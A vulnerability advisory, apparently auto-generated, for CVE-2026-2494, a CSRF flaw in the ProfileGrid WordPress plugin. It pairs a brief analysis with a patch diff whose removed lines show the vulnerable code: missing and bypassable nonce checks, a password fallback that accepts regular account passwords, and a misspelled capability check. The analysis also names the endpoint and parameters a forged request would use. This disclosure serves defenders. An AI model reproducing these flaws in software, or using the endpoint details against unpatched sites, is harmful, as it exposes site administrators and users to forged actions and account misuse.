Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2494: ProfileGrid <= 5.9.8.2 – Cross-Site Request Forgery to Group Membership Request Approval/Denial (profilegrid-user-profiles-groups-and-communities)

CVE ID CVE-2026-2494
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 5.9.8.2
Patched Version 5.9.8.3
Disclosed March 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2494:
The vulnerability exists in the ProfileGrid WordPress plugin’s membership request management functionality. The root cause is missing nonce validation and insufficient authorization checks in the `pm-membership-requests.php` admin partial. The vulnerable code at line 11-13 processes bulk actions (`approve` or `decline`) without verifying a WordPress nonce. Attackers can forge CSRF requests to the `/wp-admin/admin.php?page=pm_membership_requests` endpoint. The exploit uses the `bulk_action`, `selected[]`, and `_wpnonce` parameters. A malicious link or form can trigger approval or denial of group membership requests when an administrator views it. The patch adds nonce verification at line 13-16 with `wp_verify_nonce($retrieved_nonce, ‘pg_request_manager’)`. It also adds authorization checks for `manage_options` capability and super admin status at line 17-19. Input validation is strengthened by converting request IDs to integers with `absint()` and checking for empty results at lines 27-33 and 47-53. These changes ensure requests are authenticated, authorized, and validated before processing.

Differential between vulnerable and patched code

Code Diff
--- a/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-access-options.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-access-options.php
@@ -61,25 +61,54 @@
 	}

 	public function profile_magic_save_access_meta( $post_id ) {
-            $post = wp_unslash( $_POST );
-        if ( isset( $post['pg_meta_box_nonce'] ) ) {
-			if ( sanitize_text_field( $post['pg_meta_box_nonce'] ) || wp_verify_nonce( sanitize_text_field( $post['pg_meta_box_nonce'] ), 'save_post_access_meta' ) ) {
-				if ( isset( $post_id ) ) {
-					if ( isset( $post['pm_enable_custom_access'] ) ) {
-						update_post_meta( $post_id, 'pm_enable_custom_access', sanitize_text_field( $post['pm_enable_custom_access'] ) );
-					} else {
-						update_post_meta( $post_id, 'pm_enable_custom_access', 0 );
-					}
-
-					if ( isset( $post['pm_content_access'] ) ) {
-						update_post_meta( $post_id, 'pm_content_access', sanitize_text_field( $post['pm_content_access'] ) );
-					}
-
-					if ( isset( $post['pm_content_access_group'] ) ) {
-						update_post_meta( $post_id, 'pm_content_access_group', sanitize_text_field( $post['pm_content_access_group'] ) );
-					}
-				}
-            }
+		if ( ! isset( $post_id ) ) {
+			return;
+		}
+
+		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
+			return;
+		}
+
+		if ( wp_is_post_revision( $post_id ) || wp_is_post_autosave( $post_id ) ) {
+			return;
+		}
+
+		$post = get_post( $post_id );
+		if ( ! $post ) {
+			return;
+		}
+
+		$current_user_id = get_current_user_id();
+		$is_author       = ( $current_user_id > 0 && (int) $post->post_author === (int) $current_user_id );
+		$can_edit_post   = current_user_can( 'edit_post', $post_id );
+		$is_admin        = current_user_can( 'manage_options' );
+
+		if ( ! $can_edit_post && ! $is_author && ! $is_admin ) {
+			return;
+		}
+
+		if ( ! isset( $_POST['pg_meta_box_nonce'] ) ) {
+			return;
+		}
+
+		$nonce = sanitize_text_field( wp_unslash( $_POST['pg_meta_box_nonce'] ) );
+		if ( ! wp_verify_nonce( $nonce, 'save_post_access_meta' ) ) {
+			return;
+		}
+
+		$post = wp_unslash( $_POST );
+		if ( isset( $post['pm_enable_custom_access'] ) ) {
+			update_post_meta( $post_id, 'pm_enable_custom_access', sanitize_text_field( $post['pm_enable_custom_access'] ) );
+		} else {
+			update_post_meta( $post_id, 'pm_enable_custom_access', 0 );
+		}
+
+		if ( isset( $post['pm_content_access'] ) ) {
+			update_post_meta( $post_id, 'pm_content_access', sanitize_text_field( $post['pm_content_access'] ) );
+		}
+
+		if ( isset( $post['pm_content_access_group'] ) ) {
+			update_post_meta( $post_id, 'pm_content_access_group', sanitize_text_field( $post['pm_content_access_group'] ) );
 		}
 	}

--- a/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-admin.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-admin.php
@@ -281,7 +281,7 @@
 		add_submenu_page( 'pm_manage_groups_hide', __( 'Email Preview', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Email Preview', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_email_preview', array( $this, 'pm_email_preview' ) );
 		add_submenu_page( 'pm_manage_groups_hide', __( 'Analytics', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Analytics', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_analytics', array( $this, 'pm_analytics' ) );
 		add_submenu_page( 'pm_manage_groups_hide', __( 'Membership', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Membership', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_membership', array( $this, 'pm_membership' ) );
-		add_submenu_page( 'pm_manage_groups', __( 'Membership Payments', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Payments', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_group_membership_payments', array( $this, 'pm_group_membership_payments' ) );
+		add_submenu_page( 'pm_manage_groups_hide', __( 'Membership Payments', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Payments', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_group_membership_payments', array( $this, 'pm_group_membership_payments' ) );
 		add_submenu_page( 'pm_manage_groups', __( 'Shortcodes', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Shortcodes', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_shortcodes', array( $this, 'pm_shortcodes' ) );
                 add_submenu_page( 'pm_manage_groups', __( 'Global Settings', 'profilegrid-user-profiles-groups-and-communities' ), __( 'Global Settings', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_settings', array( $this, 'pm_settings' ) );
 		add_submenu_page( 'pm_manage_groups_hide', __( 'General Settings', 'profilegrid-user-profiles-groups-and-communities' ), __( 'General Settings', 'profilegrid-user-profiles-groups-and-communities' ), 'manage_options', 'pm_general_settings', array( $this, 'pm_general_settings' ) );
@@ -405,7 +405,9 @@
 		};
 		?>
 		<div class="wrap">
-			<h1><?php esc_html_e( 'Membership Payments', 'profilegrid-user-profiles-groups-and-communities' ); ?></h1>
+			<h1 class="wp-heading-inline"><?php esc_html_e( 'Membership Payments', 'profilegrid-user-profiles-groups-and-communities' ); ?></h1>
+			<a href="<?php echo esc_url( admin_url( 'admin.php?page=pm_payment_settings' ) ); ?>" class="page-title-action"><?php esc_html_e( 'Back', 'profilegrid-user-profiles-groups-and-communities' ); ?></a>
+			<hr class="wp-header-end">
 			<form method="get" class="pg-filter-form">
 				<input type="hidden" name="page" value="pm_group_membership_payments" />
 				<div class="tablenav top">
@@ -2228,7 +2230,7 @@

                 $current_user_id = get_current_user_id();

-                if($current_user_id===$userid || current_user_can('manage_option'))
+                if($current_user_id===$userid || current_user_can('manage_options'))
                 {
                     $user_attachments = get_user_meta( $userid, $key, true );
                     if ( $user_attachments != '' ) {
--- a/profilegrid-user-profiles-groups-and-communities/admin/partials/global-settings.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/partials/global-settings.php
@@ -175,7 +175,6 @@
             </div>
          </a>
     </div>
-
     <div class="uimrow">
         <a href="admin.php?page=pm_profile_notification_settings">
             <div class="pm_setting_image">
@@ -244,6 +243,17 @@
     <?php esc_html_e( 'Currency, Symbol Position, Checkout Page etc.', 'profilegrid-user-profiles-groups-and-communities' ); ?>
     </span> </div>
   </a> </div>
+    <div class="uimrow">
+        <a href="admin.php?page=pm_api_settings">
+            <div class="pm_setting_image">
+                <img src="<?php echo esc_url( $path . 'images/pg-web-api-icon.png' ); ?>" class="options" alt="options">
+            </div>
+            <div class="pm-setting-heading">
+                <span class="pm-setting-icon-title"><?php esc_html_e( 'APIs / Webhooks', 'profilegrid-user-profiles-groups-and-communities' ); ?></span>
+                <span class="pm-setting-description"><?php esc_html_e( 'Manage REST API and webhook access.', 'profilegrid-user-profiles-groups-and-communities' ); ?></span>
+            </div>
+        </a>
+    </div>



--- a/profilegrid-user-profiles-groups-and-communities/admin/partials/manage-groups.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/partials/manage-groups.php
@@ -242,10 +242,13 @@
               <span class="pg-box-card-setting-info"><?php esc_attr_e('Members List', 'profilegrid-user-profiles-groups-and-communities'); ?></span>
               <a href="admin.php?page=pm_user_manager&pagenum=1&gid=<?php echo esc_attr($group->id);?>"><span class="material-icons">group</span></a>
           </div>
+          <!--
           <div class="pg-box-card-setting-item">
               <span class="pg-box-card-setting-info"><?php esc_attr_e('Add Members', 'profilegrid-user-profiles-groups-and-communities'); ?></span>
               <a href="admin.php?page=pm_user_manager&pagenum=1&pg_assign_group=<?php echo esc_attr($group->id);?>&pg_add_members=1"><span class="material-icons">person_add_alt_1</span></a>
           </div>
+
+          -->
           <div class="pg-box-card-setting-item">
             <span class="pg-box-card-setting-info"><?php esc_attr_e('Group Options', 'profilegrid-user-profiles-groups-and-communities'); ?></span>
             <?php if(isset( $group_options['group_type'] ) && $group_options['group_type'] == 'form'):?>
@@ -437,7 +440,7 @@

               </div>
              <div class="pm-new-form-row pg-box-row pg-card-mb-16">
-                 <div class="pg-box-col-12 pg-group-search-user">
+                 <div class="pg-box-col-12 pg-group-search-user" style="display:none">
                     <div class="pg-group-field">
                    <label><?php esc_attr_e('Add Members Now (Optional)', 'profilegrid-user-profiles-groups-and-communities'); ?></label>
                     </div>
--- a/profilegrid-user-profiles-groups-and-communities/admin/partials/payment-settings.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/partials/payment-settings.php
@@ -51,6 +51,7 @@
     <!-----Dialogue Box Starts----->
     <div class="content">
       <div class="uimheader">
+        <span class="alignright pg-view-payments-log-button"><a href="<?php echo esc_url( admin_url( 'admin.php?page=pm_group_membership_payments' ) ); ?>" class="page-title-action pg-view-payments-log-button"><?php esc_html_e( 'View Payments Log', 'profilegrid-user-profiles-groups-and-communities' ); ?></a></span>
         <?php esc_html_e( 'Payments', 'profilegrid-user-profiles-groups-and-communities' ); ?>
       </div>

--- a/profilegrid-user-profiles-groups-and-communities/admin/partials/pm-membership-requests.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/partials/pm-membership-requests.php
@@ -11,13 +11,30 @@
 $offset       = ( $pagenum - 1 ) * $limit;
 $bulk_action = filter_input(INPUT_GET, 'bulk_action', FILTER_SANITIZE_FULL_SPECIAL_CHARS);

+if ( ! empty( $bulk_action ) && in_array( $bulk_action, array( 'approve', 'decline' ), true ) ) {
+	$retrieved_nonce = filter_input( INPUT_GET, '_wpnonce' );
+	if ( ! wp_verify_nonce( $retrieved_nonce, 'pg_request_manager' ) ) {
+		die( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) );
+	}
+	if ( ! current_user_can( 'manage_options' ) && ! is_super_admin( $current_user->ID ) ) {
+		wp_die( esc_html__( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+	}
+}
+
 if ( !empty($bulk_action) && $bulk_action == 'approve') {
 	$selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
 	if ( isset( $selected ) ) :
             $message = '';
 		foreach ( $selected as $id )
                 {
+                    $id      = absint( $id );
+                    if ( empty( $id ) ) {
+                        continue;
+                    }
                     $request = $dbhandler->get_row( 'REQUESTS', $id, 'id' );
+                    if ( empty( $request ) ) {
+                        continue;
+                    }
                     if($pmrequests->pg_check_group_limit_available($request->gid))
                     {
                         $update  = $pmrequests->profile_magic_join_group_fun( $request->uid, $request->gid, 'open' );
@@ -45,7 +62,14 @@
 	$selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
 	if ( isset( $selected ) ) :
 		foreach ( $selected as $id ) {
+                $id      = absint( $id );
+                if ( empty( $id ) ) {
+                    continue;
+                }
                 $request = $dbhandler->get_row( 'REQUESTS', $id, 'id' );
+                if ( empty( $request ) ) {
+                    continue;
+                }
 			$dbhandler->remove_row( 'REQUESTS', 'id', $id );
                 $pmemails->pm_send_group_based_notification( $request->gid, $request->uid, 'on_request_denied' );
                 do_action( 'pm_user_membership_request_denied', $request->gid, $request->uid );
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-functions.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-functions.php
@@ -785,8 +785,8 @@
      */
     public function pm_user_is_group_manager( $user_id, $gid ) {
         $user_id = absint( $user_id );
-        $gid     = absint( $gid );
-        if ( 0 === $user_id || 0 === $gid ) {
+        $gid     = is_scalar( $gid ) ? trim( (string) $gid ) : '';
+        if ( 0 === $user_id || '' === $gid ) {
             return false;
         }

--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-html-generator.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-html-generator.php
@@ -1686,7 +1686,7 @@
             <?php
 	}

-	public function invitation_send_result_success_popup( $result ) {
+	public function invitation_send_result_success_popup( $result, $post_status = 'results' ) {
 		$path                             =  plugins_url( '../public/partials/images/popup-close.png', __FILE__ );
 		$pm_request                       = new PM_request();
 		( $post_status=='failed' )?$title = __( 'Failed!', 'profilegrid-user-profiles-groups-and-communities' ):$title = __( 'Results', 'profilegrid-user-profiles-groups-and-communities' );
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-rest-api.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-rest-api.php
@@ -33,7 +33,7 @@
 	 *
 	 * @var string
 	 */
-	protected $parent_slug = 'pm_manage_groups';
+	protected $parent_slug = 'pm_manage_groups_hide';

 	/**
 	 * Roles allowed to interact with API.
@@ -329,6 +329,10 @@
 		// Use WordPress core function for application password verification
 		$password_valid = $this->verify_application_password( $user, $application_pass );

+		if ( is_wp_error( $password_valid ) ) {
+			return $password_valid;
+		}
+
 		if ( ! $password_valid ) {
 			return new WP_Error(
 				'pg_rest_invalid_application_password',
@@ -354,7 +358,7 @@
 	 * @param WP_User $user             WordPress user object.
 	 * @param string  $application_pass Application password to verify.
 	 *
-	 * @return bool
+	 * @return bool|WP_Error
 	 */
 	protected function verify_application_password( $user, $application_pass ) {
 		// Method 1: Use wp_authenticate_application_password (WordPress 5.6+)
@@ -377,7 +381,8 @@
 			return false;
 		}

-		// Method 3: Fallback for older WordPress versions or if Application Passwords not available
+		// Method 3: Fallback for older WordPress versions or if Application Passwords not available.
+		// This path must remain application-password-only (never validate regular account password).
 		return $this->fallback_password_verification( $user, $application_pass );
 	}

@@ -387,25 +392,24 @@
 	 * @param WP_User $user     WordPress user object.
 	 * @param string  $password Password to verify.
 	 *
-	 * @return bool
+	 * @return bool|WP_Error
 	 */
 	protected function fallback_password_verification( $user, $password ) {
-		// Check if it's a regular WordPress password
-		if ( wp_check_password( $password, $user->user_pass, $user->ID ) ) {
-			return true;
-		}
-
-		// Check if it matches any stored application passwords in user meta
+		// Legacy fallback: check ProfileGrid-scoped stored application passwords only.
 		$stored_passwords = get_user_meta( $user->ID, 'profilegrid_application_passwords', true );
 		if ( is_array( $stored_passwords ) ) {
 			foreach ( $stored_passwords as $stored_password ) {
-				if ( wp_check_password( $password, $stored_password['password_hash'] ) ) {
+				if ( is_array( $stored_password ) && ! empty( $stored_password['password_hash'] ) && wp_check_password( $password, $stored_password['password_hash'] ) ) {
 					return true;
 				}
 			}
 		}

-		return false;
+		return new WP_Error(
+			'pg_rest_app_password_unsupported',
+			__( 'Application password authentication is not available on this site.', 'profilegrid-user-profiles-groups-and-communities' ),
+			array( 'status' => rest_authorization_required_code() )
+		);
 	}

 	/**
@@ -2805,7 +2809,10 @@
 		}

 		if ( empty( $token ) ) {
-			$token = $request->get_param( 'token' );
+			$allow_query_token = apply_filters( 'pg_rest_api_allow_query_token', false, $request );
+			if ( $allow_query_token ) {
+				$token = $request->get_param( 'token' );
+			}
 		}

 		return $token;
--- a/profilegrid-user-profiles-groups-and-communities/profile-magic.php
+++ b/profilegrid-user-profiles-groups-and-communities/profile-magic.php
@@ -8,7 +8,7 @@
  * Plugin Name:       ProfileGrid
  * Plugin URI:        http://profilegrid.co
  * Description:       ProfileGrid adds user groups and user profiles functionality to your site.
- * Version:           5.9.8.2
+ * Version:           5.9.8.3
  * Author:            ProfileGrid User Profiles
  * Author URI:        https://profilegrid.co
  * License:           GPL-2.0+
@@ -28,7 +28,7 @@
  */

 define('PROGRID_DB_VERSION',4.4);
-define('PROGRID_PLUGIN_VERSION','5.9.8.2');
+define('PROGRID_PLUGIN_VERSION','5.9.8.3');
 define('PROGRID_MULTI_GROUP_VERSION', 3.0);


--- a/profilegrid-user-profiles-groups-and-communities/public/class-profile-magic-public.php
+++ b/profilegrid-user-profiles-groups-and-communities/public/class-profile-magic-public.php
@@ -1345,15 +1345,29 @@


 	public function pm_get_messenger_notification() {
+		if ( ! is_user_logged_in() ) {
+			wp_send_json_error( 'Authentication required', 401 );
+		}
+
+		if ( ! check_ajax_referer( 'ajax-nonce', 'nonce', false ) ) {
+			wp_send_json_error( 'Invalid nonce', 403 );
+		}
+
 		$pmmessenger = new PM_Messenger();
 		$timestamp   = filter_input( INPUT_GET, 'timestamp', FILTER_VALIDATE_INT );
 		$activity    = filter_input( INPUT_GET, 'activity', FILTER_SANITIZE_FULL_SPECIAL_CHARS );
-		 $tid        = filter_input( INPUT_GET, 'tid',FILTER_VALIDATE_INT );
-                 if($tid!=0)
-                 {
-                    $return     = $pmmessenger->pm_get_messenger_notification( $timestamp, $activity, $tid );
-                    echo wp_kses_post( $return );
-                 }
+		$tid         = absint( filter_input( INPUT_GET, 'tid', FILTER_VALIDATE_INT ) );
+		$uid         = get_current_user_id();
+		if ( $tid > 0 ) {
+			$thread = $this->pg_get_authorized_thread( $tid, $uid );
+			if ( false === $thread ) {
+				wp_send_json_error( 'Unauthorized', 403 );
+			}
+		}
+		if ( $tid != 0 ) {
+			$return = $pmmessenger->pm_get_messenger_notification( $timestamp, $activity, $tid );
+			echo wp_kses_post( $return );
+		}
 		die;
 	}

@@ -2772,8 +2786,8 @@

 			$current_user_id = get_current_user_id();
 			$pmrequests      = new PM_request();
-			$gid             = (string) absint( $gid );
-			$is_group_leader = ( '0' !== $gid ) ? $pmrequests->pg_check_in_single_group_is_user_group_leader( $current_user_id, $gid ) : false;
+			$gid             = is_scalar( $gid ) ? trim( (string) $gid ) : '';
+			$is_group_leader = ( '' !== $gid ) ? $pmrequests->pg_check_in_single_group_is_user_group_leader( $current_user_id, $gid ) : false;

 			$ids_to_check = is_array( $id ) ? $id : array( $id );

@@ -2783,7 +2797,7 @@

 			foreach ( $ids_to_check as $post_id ) {
 				$post_author_id   = (int) get_post_field( 'post_author', $post_id );
-				$post_belongs_gid = ( $post_author_id > 0 && '0' !== $gid ) ? $pmrequests->profile_magic_check_is_group_member( $gid, $post_author_id ) : false;
+				$post_belongs_gid = ( $post_author_id > 0 && '' !== $gid ) ? $pmrequests->profile_magic_check_is_group_member( $gid, $post_author_id ) : false;
 				$allowed          = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
 					|| ( $is_group_leader && $post_belongs_gid );
 				if ( ! $allowed ) {
@@ -2816,7 +2830,27 @@
 		if ( ! wp_verify_nonce( $retrieved_nonce, 'save_pm_post_status' ) ) {
 			die( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) );
 		}
+		if ( ! is_user_logged_in() ) {
+			wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+		}
+		$current_user_id = get_current_user_id();
 		if ( is_numeric( $postid ) ) {
+			$post_author_id  = (int) get_post_field( 'post_author', $postid );
+			$post_groups     = $pm_request->profile_magic_get_user_field_value( $post_author_id, 'pm_group' );
+			$post_groups     = $pm_request->pg_filter_users_group_ids( $post_groups );
+			$post_groups     = is_array( $post_groups ) ? $post_groups : array( $post_groups );
+			$is_group_leader = false;
+			foreach ( $post_groups as $post_group_id ) {
+				if ( ! empty( $post_group_id ) && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, (string) $post_group_id ) ) {
+					$is_group_leader = true;
+					break;
+				}
+			}
+			$allowed = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+				|| $current_user_id === $post_author_id || $is_group_leader;
+			if ( ! $allowed ) {
+				wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+			}
 			$change_status = wp_update_post(
 				array(
 					'ID'          => $postid,
@@ -2828,6 +2862,25 @@
 		} else {
 			global $wpdb;
 			$ids = maybe_unserialize( $pm_request->pm_encrypt_decrypt_pass( 'decrypt', $postid ) );
+			$ids = is_array( $ids ) ? $ids : array();
+			foreach ( $ids as $id ) {
+				$post_author_id  = (int) get_post_field( 'post_author', $id );
+				$post_groups     = $pm_request->profile_magic_get_user_field_value( $post_author_id, 'pm_group' );
+				$post_groups     = $pm_request->pg_filter_users_group_ids( $post_groups );
+				$post_groups     = is_array( $post_groups ) ? $post_groups : array( $post_groups );
+				$is_group_leader = false;
+				foreach ( $post_groups as $post_group_id ) {
+					if ( ! empty( $post_group_id ) && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, (string) $post_group_id ) ) {
+						$is_group_leader = true;
+						break;
+					}
+				}
+				$allowed = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+					|| $current_user_id === $post_author_id || $is_group_leader;
+				if ( ! $allowed ) {
+					wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+				}
+			}
 			$i   = 0;
 			foreach ( $ids as $id ) {
 				 $is_update = $wpdb->update( $wpdb->posts, array( 'post_status' => $blog_status ), array( 'ID' => $id ) );
@@ -2856,8 +2909,37 @@
 		if ( ! wp_verify_nonce( $retrieved_nonce, 'save_pm_post_content_access_level' ) ) {
 			die( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) );
 		}
+		if ( ! is_user_logged_in() ) {
+			wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+		}
+		$current_user_id = get_current_user_id();

 		if ( is_numeric( $postid ) ) {
+			$post_author_id  = (int) get_post_field( 'post_author', $postid );
+			$post_groups     = $pm_request->profile_magic_get_user_field_value( $post_author_id, 'pm_group' );
+			$post_groups     = $pm_request->pg_filter_users_group_ids( $post_groups );
+			$post_groups     = is_array( $post_groups ) ? $post_groups : array( $post_groups );
+			$is_group_leader = false;
+			$gid_for_check   = is_scalar( $gid ) ? trim( (string) $gid ) : '';
+			if ( '' !== $gid_for_check ) {
+				$post_belongs_gid = $pm_request->profile_magic_check_is_group_member( $gid_for_check, $post_author_id );
+				if ( $post_belongs_gid && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, $gid_for_check ) ) {
+					$is_group_leader = true;
+				}
+			}
+			if ( ! $is_group_leader ) {
+				foreach ( $post_groups as $post_group_id ) {
+					if ( ! empty( $post_group_id ) && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, (string) $post_group_id ) ) {
+						$is_group_leader = true;
+						break;
+					}
+				}
+			}
+			$allowed = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+				|| $current_user_id === $post_author_id || $is_group_leader;
+			if ( ! $allowed ) {
+				wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+			}
 			if ( isset( $pm_content_access ) ) :
 				if ( $pm_content_access == 5 ) {
 					update_post_meta( $postid, 'pm_content_access', '2' );
@@ -2877,6 +2959,34 @@
 			endif;
 		} else {
 			$ids = maybe_unserialize( $pm_request->pm_encrypt_decrypt_pass( 'decrypt', $postid ) );
+			$ids = is_array( $ids ) ? $ids : array();
+			foreach ( $ids as $id ) {
+				$post_author_id  = (int) get_post_field( 'post_author', $id );
+				$post_groups     = $pm_request->profile_magic_get_user_field_value( $post_author_id, 'pm_group' );
+				$post_groups     = $pm_request->pg_filter_users_group_ids( $post_groups );
+				$post_groups     = is_array( $post_groups ) ? $post_groups : array( $post_groups );
+				$is_group_leader = false;
+				$gid_for_check   = is_scalar( $gid ) ? trim( (string) $gid ) : '';
+				if ( '' !== $gid_for_check ) {
+					$post_belongs_gid = $pm_request->profile_magic_check_is_group_member( $gid_for_check, $post_author_id );
+					if ( $post_belongs_gid && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, $gid_for_check ) ) {
+						$is_group_leader = true;
+					}
+				}
+				if ( ! $is_group_leader ) {
+					foreach ( $post_groups as $post_group_id ) {
+						if ( ! empty( $post_group_id ) && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, (string) $post_group_id ) ) {
+							$is_group_leader = true;
+							break;
+						}
+					}
+				}
+				$allowed = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+					|| $current_user_id === $post_author_id || $is_group_leader;
+				if ( ! $allowed ) {
+					wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+				}
+			}
 			$i   = 0;
 			foreach ( $ids as $id ) {
 				if ( $pm_content_access == 5 ) {
@@ -2906,6 +3016,7 @@

 	public function pm_save_edit_blog_post() {
 		$html_generator  = new PM_HTML_Creator( $this->profile_magic, $this->version );
+		$pm_request      = new PM_request();
 		$postid          = filter_input( INPUT_POST, 'post_id' );
 		$post_title      = filter_input( INPUT_POST, 'blog_title' );
 		$post_content    = filter_input( INPUT_POST, 'blog_description' );
@@ -2913,6 +3024,26 @@
 		if ( ! wp_verify_nonce( $retrieved_nonce, 'save_pm_edit_blog_post' ) ) {
 			die( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) );
 		}
+		if ( ! is_user_logged_in() ) {
+			wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+		}
+		$current_user_id = get_current_user_id();
+		$post_author_id  = (int) get_post_field( 'post_author', $postid );
+		$post_groups     = $pm_request->profile_magic_get_user_field_value( $post_author_id, 'pm_group' );
+		$post_groups     = $pm_request->pg_filter_users_group_ids( $post_groups );
+		$post_groups     = is_array( $post_groups ) ? $post_groups : array( $post_groups );
+		$is_group_leader = false;
+		foreach ( $post_groups as $post_group_id ) {
+			if ( ! empty( $post_group_id ) && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, (string) $post_group_id ) ) {
+				$is_group_leader = true;
+				break;
+			}
+		}
+		$allowed = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+			|| $current_user_id === $post_author_id || $is_group_leader;
+		if ( ! $allowed ) {
+			wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+		}
 		$change_status = wp_update_post(
 			array(
 				'ID'           => $postid,
@@ -3135,7 +3266,9 @@
 		$gid             = filter_input( INPUT_POST, 'gid' );
 		$emails          = $post['pm_email_address'];

-		$message = '';
+		$message      = '';
+		$has_success  = false;
+		$has_failure  = false;
 		foreach ( $emails as $email ) {
 			$user_id = email_exists( sanitize_email( $email) );
 			if ( $user_id ) {
@@ -3186,7 +3319,8 @@
 					$group_link = $pmrequest->profile_magic_get_frontend_url( 'pm_group_page', '', $gid );
 					//$group_link = add_query_arg( 'gid', $gid, $group_link );

-					$message .= ' <div class="pg-invited-user-result pg-group-user-info-box pg-invitation-failed pm-pad10 pm-bg pm-dbfl">
+					$has_failure = true;
+					$message    .= ' <div class="pg-invited-user-result pg-group-user-info-box pg-invitation-failed pm-pad10 pm-bg pm-dbfl">
                         <div class="pm-difl pg-invited-user">' . get_avatar( $email, 26, '', false, array( 'force_display' => true ) ) . '</div>
                         <div class="pm-difl pg-invited-user-info">
                            <div class="pg-invited-user-email pm-dbfl">' . $email . '  </div>
@@ -3200,6 +3334,7 @@
 			} else {
 				// echo 'test';
 				$pm_emails->pm_send_invite_link( $email, $gid );
+				$has_success = true;
 				$message .= '<div class="pg-invited-user-result pg-group-user-info-box pg-invitation-success  pm-pad10 pm-bg pm-dbfl">
                         <div class="pm-difl pg-invited-user">' . get_avatar( $email, 26, '', false, array( 'force_display' => true ) ) . '</div>
                         <div class="pm-difl pg-invited-user-info">
@@ -3211,7 +3346,8 @@
 			}
 		}

-		$html_generator->invitation_send_result_success_popup( $message );
+		$invite_status = ( $has_failure && ! $has_success ) ? 'failed' : 'results';
+		$html_generator->invitation_send_result_success_popup( $message, $invite_status );
 		die;
 	}

@@ -3226,7 +3362,7 @@
 		$pm_emails       = new PM_Emails();
 		$html_generator  = new PM_HTML_Creator( $this->profile_magic, $this->version );
 		$user_id_raw     = isset( $_POST['user_id'] ) ? wp_unslash( $_POST['user_id'] ) : '';
-		$gid             = isset( $_POST['gid'] ) ? absint( $_POST['gid'] ) : 0;
+		$gid             = isset( $_POST['gid'] ) ? trim( (string) wp_unslash( $_POST['gid'] ) ) : '';
 		$current_user    = wp_get_current_user();
 		$retrieved_nonce = isset( $_POST['_wpnonce'] ) ? sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ) : '';
 		$basic_functions = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );
@@ -3298,7 +3434,7 @@
 		$pmrequests = new PM_request();
 		$pmemails   = new PM_Emails();
 		$user_id    = isset( $post['uid'] ) ? $post['uid'] : array();
-		$gid        = isset( $post['gid'] ) ? absint( $post['gid'] ) : 0;
+		$gid        = isset( $post['gid'] ) ? trim( (string) $post['gid'] ) : '';
